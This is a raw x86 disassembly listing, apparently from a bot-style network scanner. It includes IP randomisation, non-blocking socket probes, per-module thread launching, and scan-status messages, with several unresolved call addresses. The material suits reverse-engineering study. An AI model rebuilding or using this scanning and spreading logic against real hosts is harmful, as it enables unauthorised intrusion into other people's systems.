jmp short loc_40B4E2
; ---------------------------------------------------------------------------
loc_40B4E0: ; CODE XREF: sub_40B44F+72j
; sub_40B44F+7Dj ...
xor eax, eax
loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj
pop esi
pop ebp
retn
sub_40B44F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B506
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B506: ; CODE XREF: sub_40B4E5+19j
push ebx
push esi
loc_40B508: ; CODE XREF: sub_40B4E5+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B516
cmp [ebp+var_4], eax
jnz short loc_40B562
loc_40B516: ; CODE XREF: sub_40B4E5+2Aj
test edi, edi
jnz short loc_40B557
cmp bl, 2Dh
jnz short loc_40B54B
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54B
cmp al, 5Dh
jz short loc_40B54B
cmp [ebp+var_4], edi
jnz short loc_40B54B
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B557
cmp bl, al
jg short loc_40B557
push 1
mov [edx], esi
pop edi
jmp short loc_40B557
; ---------------------------------------------------------------------------
loc_40B54B: ; CODE XREF: sub_40B4E5+38j
; sub_40B4E5+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B557
push 1
pop edi
loc_40B557: ; CODE XREF: sub_40B4E5+33j
; sub_40B4E5+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B508
; ---------------------------------------------------------------------------
loc_40B562: ; CODE XREF: sub_40B4E5+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B56F
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B56F: ; CODE XREF: sub_40B4E5+82j
cmp edi, eax
jnz short loc_40B578
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B578: ; CODE XREF: sub_40B4E5+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57D proc near ; CODE XREF: sub_40B44F+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B599: ; CODE XREF: sub_40B57D+3Aj
cmp [eax], bl
jz short loc_40B5B9
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AE
cmp cl, 2Ah
jnz short loc_40B5B9
cmp cl, 3Fh
jnz short loc_40B5B1
loc_40B5AE: ; CODE XREF: sub_40B57D+25j
inc eax
mov [edi], eax
loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B599
; ---------------------------------------------------------------------------
loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej
; sub_40B57D+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C4
inc dword ptr [esi]
jmp short loc_40B5B9
; ---------------------------------------------------------------------------
loc_40B5C4: ; CODE XREF: sub_40B57D+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E5
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D6
xor eax, eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5D6: ; CODE XREF: sub_40B57D+53j
cmp cl, bl
jnz short loc_40B5E5
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E5
push 1
pop eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj
; sub_40B57D+5Bj ...
push eax
push dword ptr [esi]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_40B62F
loc_40B5F3: ; CODE XREF: sub_40B57D+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F7: ; CODE XREF: sub_40B57D+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B60F
cmp cl, 5Bh
jz short loc_40B60F
cmp dl, bl
jz short loc_40B60F
inc eax
mov [edi], eax
jmp short loc_40B5F7
; ---------------------------------------------------------------------------
loc_40B60F: ; CODE XREF: sub_40B57D+82j
; sub_40B57D+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B626
push eax
push dword ptr [esi]
call sub_40B44F
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62B
; ---------------------------------------------------------------------------
loc_40B626: ; CODE XREF: sub_40B57D+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62B: ; CODE XREF: sub_40B57D+A7j
cmp eax, ebx
jnz short loc_40B5F3
loc_40B62F: ; CODE XREF: sub_40B57D+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B642
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B642
mov [ebp+var_4], 1
loc_40B642: ; CODE XREF: sub_40B57D+B6j
; sub_40B57D+BCj
mov eax, [ebp+var_4]
loc_40B645: ; CODE XREF: sub_40B57D+57j
; sub_40B57D+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431E64
push eax
xor ebx, ebx
call sub_41B886
cmp dword_431AC8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BC
push esi
mov esi, offset dword_431AD0
loc_40B67D: ; CODE XREF: sub_40B64A+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B2
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431E58
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
add esp, 1Ch
loc_40B6B2: ; CODE XREF: sub_40B64A+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67D
pop esi
loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj
push dword_4CB364
call sub_41A88B
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE130
mov ecx, dword_4CE12C
push esi
push dword_4CB364
lea esi, [ecx+eax]
call sub_41A88B
pop ecx
push eax
push esi
push dword_4CE130
lea eax, [ebp+var_200]
push dword_4CE12C
push offset unk_431E84
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 30h
pop esi
leave
retn
sub_40B719 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB364
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE374
push offset unk_431ECC
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 28h
leave
retn
sub_40B785 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push edi
lea eax, [ebp+var_800]
push offset dword_431F18
push eax
call sub_41B886
cmp dword_431AC8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B846
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B80F: ; CODE XREF: sub_40B7DA+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431F08
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B80F
pop esi
loc_40B846: ; CODE XREF: sub_40B7DA+2Dj
push dword_4CB364
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_800]
push eax
call sub_4151AC
add esp, 30h
pop edi
leave
retn
sub_40B7DA endp
; ---------------------------------------------------------------------------
byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CB664
xor edi, edi
mov [ebp-8], eax
cmp dword_431AC8, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BA03
mov ebx, offset dword_431AC8
mov eax, ebx
loc_40B8F2: ; CODE XREF: ___:0040B9FDj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C087
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F3
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431F68
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41B886
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41B886
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40B98E
lea eax, [ebp-124h]
loc_40B98E: ; CODE XREF: ___:0040B986j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41B886
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B9F3: ; CODE XREF: ___:0040B905j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F2
loc_40BA03: ; CODE XREF: ___:0040B8E5j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431F34
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
add esp, 2Ch
push edi
; ---------------------------------------------------------------------------
dd 474F28E8h
db 2, 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33E
test eax, eax
pop ecx
jle short loc_40BA92
mov eax, [ebp+arg_C]
push dword_4CB770[eax*8]
call dword_4CB6B0
push eax
lea eax, [ebp+var_200]
push offset unk_431FB8
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40BAA5
; ---------------------------------------------------------------------------
loc_40BA92: ; CODE XREF: sub_40BA56+13j
lea eax, [ebp+var_200]
push offset unk_431F98
push eax
call sub_41B886
pop ecx
pop ecx
loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 18h
leave
retn
sub_40BA56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BACD proc near ; CODE XREF: sub_40C124+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BF9F
shl eax, 6
xor ebx, ebx
cmp dword_431AD4[eax], ebx
jz loc_40BF9F
push 5
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BD54
mov eax, dword_429078
push edi
mov esi, offset dword_4CD82C
push 104h
push esi
push ebx
mov dword_4CDA3C, eax
mov dword_4CDA38, ebx
nop
call near ptr 2810000h
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CD930
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD828, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDAC0, eax
jnz short loc_40BB80
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDA40
call sub_41B5F0
add esp, 0Ch
mov dword_4CDAC4, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB80: ; CODE XREF: sub_40BACD+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDA40
call sub_41B5F0
add esp, 0Ch
mov dword_4CDAC4, ebx
loc_40BB9A: ; CODE XREF: sub_40BACD+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDA3C
push offset unk_42C51C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CDA34, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD828
push offset word_411796
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, dword_4CDA34
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40BC08
loc_40BBF6: ; CODE XREF: sub_40BACD+139j
cmp dword_4CDAC8, ebx
jnz short loc_40BC23
push 32h
nop
call near ptr 2820566h
jmp short loc_40BBF6
; ---------------------------------------------------------------------------
loc_40BC08: ; CODE XREF: sub_40BACD+127j
nop
call near ptr 2830047h
push eax
lea eax, [ebp+var_204]
push offset unk_4320D8
push eax
call sub_41B886
add esp, 0Ch
loc_40BC23: ; CODE XREF: sub_40BACD+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4151AC
mov eax, dword_4CB360
mov esi, offset dword_4CDAD4
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CDCE4, eax
mov dword_4CDCE0, ebx
call near ptr 2810000h
nop
push 103h
push edi
push offset dword_4CDBD8
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDAD0, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CDD68, eax
push 7Fh
jnz short loc_40BCA4
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDCE8
call sub_41B5F0
add esp, 0Ch
mov dword_4CDD6C, 1
jmp short loc_40BCBE
; ---------------------------------------------------------------------------
loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDCE8
call sub_41B5F0
add esp, 0Ch
mov dword_4CDD6C, ebx
loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CDCE4
push offset unk_4320A4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CDCDC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDAD0
push offset byte_40E991
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, dword_4CDCDC
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40BD2C
loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj
cmp dword_4CDD70, ebx
jnz short loc_40BD47
push 32h
nop
call near ptr 2820566h
jmp short loc_40BD1A
; ---------------------------------------------------------------------------
loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj
call near ptr 2830047h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_432070
push eax
call sub_41B886
add esp, 0Ch
loc_40BD47: ; CODE XREF: sub_40BACD+253j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BD54: ; CODE XREF: sub_40BACD+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_431ADC[ecx], ebx
jz loc_40BE7D
push 7
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BE77
mov eax, dword_4CE36C
cmp [ebp+arg_90], bl
mov dword_4CD794, eax
mov eax, [ebp+arg_110]
mov dword_4CD788, eax
mov eax, [ebp+arg_138]
mov dword_4CD790, ebx
mov dword_4CD818, eax
push 7Fh
jnz short loc_40BDC8
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD798
call sub_41B5F0
add esp, 0Ch
mov dword_4CD81C, 1
jmp short loc_40BDE2
; ---------------------------------------------------------------------------
loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD798
call sub_41B5F0
add esp, 0Ch
mov dword_4CD81C, ebx
loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j
push dword_4CD794
lea eax, [ebp+var_204]
push offset unk_432040
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B0F6
add esp, 18h
mov dword_4CD78C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD788
push offset byte_40E6EF
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, dword_4CD78C
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40BE4F
loc_40BE3D: ; CODE XREF: sub_40BACD+380j
cmp dword_4CD820, ebx
jnz short loc_40BE6A
push 32h
nop
call near ptr 2820566h
jmp short loc_40BE3D
; ---------------------------------------------------------------------------
loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej
nop
call near ptr 2830047h
push eax
lea eax, [ebp+var_204]
push offset unk_432008
push eax
call sub_41B886
add esp, 0Ch
loc_40BE6A: ; CODE XREF: sub_40BACD+376j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BE77: ; CODE XREF: sub_40BACD+2A8j
mov eax, [ebp+arg_130]
loc_40BE7D: ; CODE XREF: sub_40BACD+298j
shl eax, 6
cmp dword_431AD8[eax], ebx
jz loc_40BF9F
push 3
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BF9F
mov esi, offset dword_4CE004
push 104h
push esi
push ebx
nop
call near ptr 2810000h
push 5Ch
push esi
call sub_41BE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBE
mov [eax], bl
loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj
mov eax, dword_42907C
mov dword_4CE11C, ebx
mov dword_4CE108, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDD7C
call sub_41B886
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CDD78, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE108
mov dword_4CE114, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE118, ecx
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C4A4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov dword_4CE110, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDD78
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, dword_4CE110
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40BF77
loc_40BF65: ; CODE XREF: sub_40BACD+4A8j
cmp dword_4CE124, ebx
jnz short loc_40BF92
push 32h
call near ptr 2820566h
nop
jmp short loc_40BF65
; ---------------------------------------------------------------------------
loc_40BF77: ; CODE XREF: sub_40BACD+496j
call near ptr 2830047h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431FD4
push eax
call sub_41B886
add esp, 0Ch
loc_40BF92: ; CODE XREF: sub_40BACD+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BF9F: ; CODE XREF: sub_40BACD+14j
; sub_40BACD+25j ...
pop esi
pop ebx
leave
retn
sub_40BACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CB770h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C310
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB54C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB620
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C310
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEB proc near ; CODE XREF: sub_40C124+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AFE0
cmp eax, 0Fh
pop ecx
jbe short loc_40C013
xor eax, eax
jmp short loc_40C084
; ---------------------------------------------------------------------------
loc_40C013: ; CODE XREF: sub_40BFEB+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C645
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C040
call sub_41B8E2
mov [ebp+var_C], eax
loc_40C040: ; CODE XREF: sub_40BFEB+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04D
call sub_41B8E2
mov [ebp+var_8], eax
loc_40C04D: ; CODE XREF: sub_40BFEB+58j
cmp [ebp+var_4], esi
jnz short loc_40C05A
call sub_41B8E2
mov [ebp+var_4], eax
loc_40C05A: ; CODE XREF: sub_40BFEB+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C066
call sub_41B8E2
loc_40C066: ; CODE XREF: sub_40BFEB+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB770[ecx*8], eax
loc_40C084: ; CODE XREF: sub_40BFEB+26j
pop esi
leave
retn
sub_40BFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C087 proc near ; CODE XREF: ___:0040B8FAp
; sub_40C124+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CB6A4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B0
xor eax, eax
jmp short loc_40C11F
; ---------------------------------------------------------------------------
loc_40C0B0: ; CODE XREF: sub_40C087+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB624
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB6C0
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB5CC
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB60C
push esi
mov edi, eax
call dword_4CB6BC
xor eax, eax
cmp edi, ebx
setnle al
loc_40C11F: ; CODE XREF: sub_40C087+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C124 proc near ; DATA XREF: sub_40C124+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call near ptr 2830E52h
nop
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16B: ; CODE XREF: sub_40C124+204j
mov eax, dword_43E564[ebx]
cmp dword_4CB774[eax*8], 0
jz loc_40C32D
cmp [ebp+var_10], 0
push eax
jz short loc_40C195
lea eax, [ebp+var_150]
push eax
call sub_40BFEB
pop ecx
jmp short loc_40C19A
; ---------------------------------------------------------------------------
loc_40C195: ; CODE XREF: sub_40C124+60j
call sub_40BFA3
loc_40C19A: ; CODE XREF: sub_40C124+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E564[ebx]
push [ebp+var_3C]
push edi
call dword_4CB6B0
push eax
lea eax, [ebp+var_28C]
push offset unk_432134
push eax
call sub_41B886
add esp, 18h
lea eax, [ebp+var_28C]
push eax
